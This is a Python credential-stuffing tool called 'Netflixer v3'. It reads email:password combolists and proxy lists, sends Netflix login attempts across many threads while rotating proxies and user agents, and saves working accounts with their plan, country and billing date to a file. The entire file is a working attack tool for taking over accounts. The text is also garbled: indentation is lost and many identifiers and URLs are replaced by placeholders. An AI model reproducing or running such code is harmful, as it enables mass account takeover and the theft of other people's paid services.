import os, requests, easygui, time, random, threading, ctypes
from colorama import Fore
from fake_useragent import UserAgent as ua
from bs4 import BeautifulSoup as Soup
# Credit to Pycenter by billythegoat356
# Github: [Link]
# License: [Link]
def center(var:str, space:int=None): # From Pycenter
if not space:
space = (os.get_terminal_size().columns - len([Link]()
[int(len([Link]())/2)])) / 2
return "\n".join((' ' * int(space)) + var for var in [Link]())
class Netflixer:
def __init__(self):
[Link] = []
[Link] = []
[Link] = 0
[Link] = 0
[Link] = 0
[Link] = 0
[Link] = [Link]()
def ui(self):
[Link]('cls')
[Link](f'[NETFLIXER v3] - Made by
Plasmonix')
text = '''
███▄ █ ▓█████▄▄▄█████▓ █████▒██▓ ██▓▒██ ██▒▓█████
██▀███
██ ▀█ █ ▓█ ▀▓ ██▒ ▓▒▓██ ▒▓██▒ ▓██▒▒▒ █ █ ▒░▓█ ▀
▓██ ▒ ██▒
▓██ ▀█ ██▒▒███ ▒ ▓██░ ▒░▒████ ░▒██░ ▒██▒░░ █ ░▒███
▓██ ░▄█ ▒
▓██▒ ▐▌██▒▒▓█ ▄░ ▓██▓ ░ ░▓█▒ ░▒██░ ░██░ ░ █ █ ▒ ▒▓█ ▄
▒██▀▀█▄
▒██░ ▓██░░▒████▒ ▒██▒ ░ ░▒█░ ░██████▒░██░▒██▒
▒██▒░▒████▒░██▓ ▒██▒
░ ▒░ ▒ ▒ ░░ ▒░ ░ ▒ ░░ ▒ ░ ░ ▒░▓ ░░▓ ▒▒ ░ ░▓ ░░░ ▒░ ░░
▒▓ ░▒▓░
░ ░░ ░ ▒░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ▒ ░░░ ░▒ ░ ░ ░ ░
░▒ ░ ▒░
░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░
░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ '''
faded = ''
red = 40
for line in [Link]():
faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")
if not red == 255:
red += 15
if red > 255:
red = 255
print(center(faded))
print(center(f'{Fore.LIGHTYELLOW_EX}\[Link]/Plasmonix Version 3.0\
n{[Link]}'))
def cpmCounter(self):
while True:
old = [Link]
[Link](4)
new = [Link]
[Link] = (new-old) * 15
def updateTitle(self):
while True:
elapsed = [Link]('%H:%M:%S', [Link]([Link]() -
[Link]))
[Link](f'[NETFLIXER v3] - Hits:
{[Link]} | Bad: {[Link]} | Retries: {[Link]} | CPM: {[Link]} |
Threads: {threading.active_count() - 2} | Time elapsed: {elapsed}')
[Link](0.4)
def getProxies(self):
try:
print(f'[{Fore.LIGHTBLUE_EX}>{[Link]}] Path to proxy file> ')
path = [Link](default='*.txt', filetypes = ['*.txt'],
title= 'Netflixer - Select proxy', multiple= False)
open(path, "r", encoding="utf-8")
choice = int(input(f'[{Fore.LIGHTBLUE_EX}?{[Link]}] Proxy type
[{Fore.LIGHTBLUE_EX}0{[Link]}]HTTPS/[{Fore.LIGHTBLUE_EX}1{[Link]}]SOCKS4/
[{Fore.LIGHTBLUE_EX}2{[Link]}]SOCKS5> '))
if choice == 0:
proxytype = 'https'
elif choice == 1:
proxytype = 'socks4'
elif choice == 2:
proxytype = 'socks5'
else:
print(f'[{[Link]}!{[Link]}] Please enter a valid choice such
as 0, 1 or 2!')
[Link]('pause >nul')
quit()
with open(path, 'r', encoding="utf-8") as f:
for l in f:
ip = [Link](":")[0]
port = [Link](":")[1]
[Link]({'http':
proxytype+'://'+ip+':'+[Link]("\n")})
except ValueError:
print(f'[{Fore.LIGHTRED_EX}!{[Link]}] Value must be an integer')
[Link]('pause >nul')
quit()
except Exception as e:
print(f'[{Fore.LIGHTRED_EX}!{[Link]}] Failed to open proxyfile')
[Link]('pause >nul')
quit()
def getCombos(self):
try:
print(f'[{Fore.LIGHTBLUE_EX}>{Fore.LIGHTWHITE_EX}] Path to combolist>
')
path = [Link](default='*.txt', filetypes = ['*.txt'],
title= 'Netflixer - Select combos', multiple= False)
with open(path, 'r', encoding="utf-8") as f:
for l in f:
[Link]([Link]('\n', ''))
except:
print(f'[{Fore.LIGHTRED_EX}!{[Link]}] Failed to open combofile')
[Link]('pause >nul')
quit()
def checker(self, email, password):
try:
client = [Link]()
login = [Link]("[Link] headers ={"User-
Agent": ua().random}, proxies =[Link]([Link]))
soup = Soup([Link],'[Link]')
loginForm = [Link]('form')
authURL = [Link]('input', {'name': 'authURL'}).get('value')
headers = {"user-agent": ua().random,"accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-
language": "en-US,en;q=0.9", "accept-encoding": "gzip, deflate, br", "referer":
"[Link] "content-type": "application/x-www-form-
urlencoded","cookie":""}
data = {"userLoginId:": email, "password": password,
"rememberMeCheckbox": "true", "flow": "websiteSignUp", "mode": "login", "action":
"loginAction", "withFields":
"rememberMe,nextPage,userLoginId,password,countryCode,countryIsoCode", "authURL":
authURL, "nextPage": "[Link]
"+1","countryIsoCode": "US"}
request = [Link]("[Link] =headers,
data =data ,proxies =[Link]([Link]))
cookie = dict(flwssn=[Link]("[Link]
headers ={"User-Agent": ua().random}, proxies
=[Link]([Link])).[Link]("flwssn"))
if 'Sorry, we can\'t find an account with this email address. Please
try again or' or 'Incorrect password' in [Link]:
[Link]()
print(f'[{Fore.LIGHTRED_EX}!{[Link]}]
{Fore.LIGHTRED_EX}BAD{[Link]} | {email} | {password} ')
[Link] += 1
[Link]()
else:
info = [Link]("[Link] headers
={"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,"Accept-Encoding": "gzip, deflate,
br" ,"Accept-Language": "en-US,en;q=0.9" ,"Connection": "keep-alive" ,"Host":
"[Link]" ,"Referer": "[Link] ,"Sec-Fetch-Dest":
"document" ,"Sec-Fetch-Mode": "navigate" ,"Sec-Fetch-Site": "same-origin" ,"Sec-
Fetch-User": "?1" ,"Upgrade-Insecure-Requests": "1" ,"User-Agent": "Mozilla/5.0
(iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like
Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"}, cookies =cookie, proxies
=[Link]([Link]), timeout =10).text
plan = [Link]('data-uia="plan-label"><b>')[1].split('</b>')[0]
country = [Link]('","currentCountry":"')[1].split('"')[0]
expiry = [Link]('data-uia="nextBillingDate-item">')
[1].split('<')[0]
[Link]()
print(f'[{Fore.LIGHTGREEN_EX}+{[Link]}]
{Fore.LIGHTBLUE_EX}HIT{[Link]} | {email} | {password} | {plan} | {country} |
{expiry}')
[Link] += 1
with open('[Link]', 'a', encoding='utf-8') as fp:
[Link](f'Email: {email} Pass: {password} - Plan: {plan}
- Country: {country} - Validity: {expiry}\n')
[Link]()
except:
[Link]()
print(f'[{Fore.LIGHTRED_EX}!{[Link]}]
{Fore.LIGHTRED_EX}ERROR{[Link]} | Proxy timeout. Change your proxies or use a
different VPN')
[Link] += 1
[Link]()
def worker(self, combos, thread_id):
while [Link][thread_id] < len(combos):
combination = combos[[Link][thread_id]].split(':')
[Link](combination[0], combination[1])
[Link][thread_id] += 1
def main(self):
[Link]()
[Link]()
[Link]()
try:
[Link] = int(input(f'[{Fore.LIGHTBLUE_EX}>{[Link]}]
Threads> '))
except ValueError:
print(f'[{Fore.LIGHTRED_EX}!{[Link]}] Value must be an integer')
[Link]('pause >nul')
quit()
[Link]()
[Link] = [Link]()
[Link](target =[Link], daemon =True).start()
[Link](target =[Link] ,daemon =True).start()
threads = []
[Link] = [0 for i in range([Link])]
for i in range([Link]):
sliced_combo = [Link][int(len([Link]) / [Link] *
i): int(len([Link])/ [Link]* (i+1))]
t = [Link](target= [Link], args= (sliced_combo, i,) )
[Link](t)
[Link]()
for t in threads:
[Link]()
print(f'[{Fore.LIGHTGREEN_EX}+{[Link]}] Task completed')
[Link]('pause>nul')
n = Netflixer()
[Link]()